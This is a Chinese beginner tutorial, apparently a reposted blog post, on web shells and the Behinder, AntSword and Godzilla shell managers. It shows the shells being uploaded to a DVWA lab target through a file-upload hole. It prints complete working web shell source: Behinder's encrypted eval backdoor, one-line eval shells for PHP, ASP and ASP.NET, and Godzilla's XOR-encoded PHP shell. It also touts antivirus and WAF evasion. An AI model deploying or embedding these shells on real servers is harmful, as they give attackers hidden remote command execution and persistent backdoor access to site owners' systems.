Web shell 与 冰蝎、蚁剑、哥斯拉(新手必看)

一、Web木马的概念

web木马:用Web系统语言(如:ASO,PHP,JSP等)编写的木马,木马上传服务器后当成页面被攻击者访问,常当做后门.

Web木马危害: 做后门; 文件,数据库操作; 修改Web页面

二、Web木马的特点

  • Web的特点一:Web木马可大可小
  • Web的特点二:无法有效隐藏
  • Web的特点三:具有明显特征值

        命令执行函数:ebval,system,popen,exeshell_exec等

        文件功能函数:fopen,opendir,dirname,pathinfo等

        数据库操作类函数:mysql_query,mysqli_query等

  • Web木马的特点:必须为可执行的网页格式

三、Web木马常用工具介绍

Web木马常用工具有三个:冰蝎(Behinder 3.0)、蚁剑(AntSword)、哥斯拉(Godzilla Shell管理工具)。接下来 逐一介绍工具的下载、使用方法、特点。

3.1、冰蝎(Behinder 3.0)

下载地址:https://github.com/rebeyond/Behinder/releases/tag/Behinder_v3.0_Beta_11

建议安装环境:虚拟机Win 7 关闭防火墙状态下 下载及安装。

文章来源地址https://uudwc.com/A/Xwpr

2、下载并解压后的文件含义:

① Server文件夹:存放着不同类型的 shell 脚本

② Behinder.jar :冰蝎的运行程序

③ Behinder_v3.:源压缩包

④ data.db :配置文件

⑤ 更新日志.txt :版本更新修复的问题

3、冰蝎使用方法

这里我们借助 靶机:DVWA 其中的 文件上传漏洞( low 级别) 做实验。来解释冰蝎的使用方法。

① 将 冰蝎 中存在的 shell 脚本 上传到网站上。点击 浏览 选择 :shell.php 然后上传 并且复制上传路径。

② 复制该文件 上传 的完整路径。

③ 打开 冰蝎,空白处 右键 选择新增,将完整路径输入 这里看到是需要密码的 密码放在 shell 脚本里面。

④ 我们使用 VSCode 查看一下脚本。

⑤ 输入 密码 其他默认 保存后双击查看 是否连接。 连接成功后可以看到刚才输入的 URL 后面会显示已连接,也有很多模块 支持我们进行管理。

4、冰蝎特点(总结)

  1. “冰蝎”是一个动态二进制加密网站管理客户端,由于基于流量加密的webshell变得越来越多,"冰蝎"在此应运而生。
  2. "冰蝎"客户端基于JAVA,所以可以跨平台使用,最新版本为v3.0 bate,兼容性较之前的版本有较大提升。
  3. 主要功能为:基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大
  4. 冰蝎的加密原理:"冰蝎"在服务端支持open_ssl时,使用AES加密算法,密钥长度16位,也可称为AES-16。此在软件及硬件(英特尔处理器的AES指令集包含六条指令)上都能快速地加解密,内存需求低,非常适合流量加密。
  5. 三大特点:
  • 流量加密,难以被检测
  • webshell免杀性好
  • 加密方式:AES加密

shell.php 源码奉上:

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

3.2、蚁剑(AntSword)

源码下载地址:https://github.com/AntSwordProject/antSword

建议安装环境:虚拟机Win 7 关闭防火墙状态下 下载及安装。 具体安装就不多讲了

蚁剑下载地址:https://github.com/AntSwordProject/AntSword-Loader

2、下载并解压后的文件含义:

① AntSword-Loader:包含运行程序和配置文件

② antSword-2.1.9 :原压缩包 及版本号

3、蚁剑使用方法

这里我们借助 靶机:DVWA 其中的 文件上传漏洞( low 级别) 做实验。来解释冰蝎的使用方法。

① 将一句话木马 放入 记事本 并且 修改文件名为:1.php (重点是修改后缀)

② 上传我们 做好的 马 复制路径

③ 打开 蚁剑 的运行程序 输入路径 和 密码 细心的小伙伴 肯定发现 密码在哪里了。

然后点击测试连接 会弹窗 提示 连接成功 成功 后点击添加。

④ 添加好 之后 双击打开 就可以管理 文件了。

4、蚁剑特点

  • 中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
  • 通俗的讲:中国蚁剑是一款比菜刀还牛的 Shell 控制端软件。
  • 中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则, 致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及 其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点 滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展 出最人性化最适合你的能力!

5、一句话源码奉上:

PHP:    
<?php @eval($_POST['chopper']);?>
ASP:    
<%eval request("chopper")%>
ASP.NET:    
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>

3、3 哥斯拉(Godzilla Shell管理工具)

下载地址:https://github.com/BeichenDream/Godzilla/releases/tag/v3.03-godzilla

GodZilla 的运行环境:JDK 1.8

2、双击 Godzilla.jar 运行 程序之后 会在 同目录下 生成 data.db 数据库存放数据。

3、哥斯拉使用方法

① 哥斯拉 的 马(Web shell) 是需要自己配置的 。

管理”->“添加”生成所需的 webshell

  • 哥斯拉支持 jsp、php、aspx 等多种载荷
  • java 和 c# 的载荷原生实现 AES 加密,PHP 使用亦或加密
  • 生成时需要记住自己的生成配置用以连接时使用
  • 记得点击生成

② 我把这个脚本放到了 D盘 下 起名为:ace.php

③ 还是DVWA 靶机 上传文件

④ 目标 → 基础配置 → 将框选的内容填写修改 有效载荷和加密器 点击 测试连接 连接成功后点击添加。

⑤ 哥斯拉 也有很多 功能模块 自行挖掘吧。

4、哥斯拉特点

  • 哥斯拉全部类型的shell均过市面所有静态查杀
  • 静态免杀这个问题,要客观;工具放出来之后可能会免杀一段时间,后来就不行了,但是,改改代码还能继续过狗。重点还是要看流量加密和一些自带的插件。
  • 哥斯拉流量加密能过市面全部流量waf
  • 哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的

5、Web shell 源码奉上

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='verter';
$payloadName='payload';
$key='cb42e130d1471239';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

文章较长,感谢观看;小白一枚,大神轻喷;仅供学习交流。

原文地址:https://blog.csdn.net/weixin_54161921/article/details/118579926

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请联系站长进行投诉反馈,一经查实,立即删除!

h
上一篇 2023年06月16日 18:51
【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法
下一篇 2023年06月16日 18:51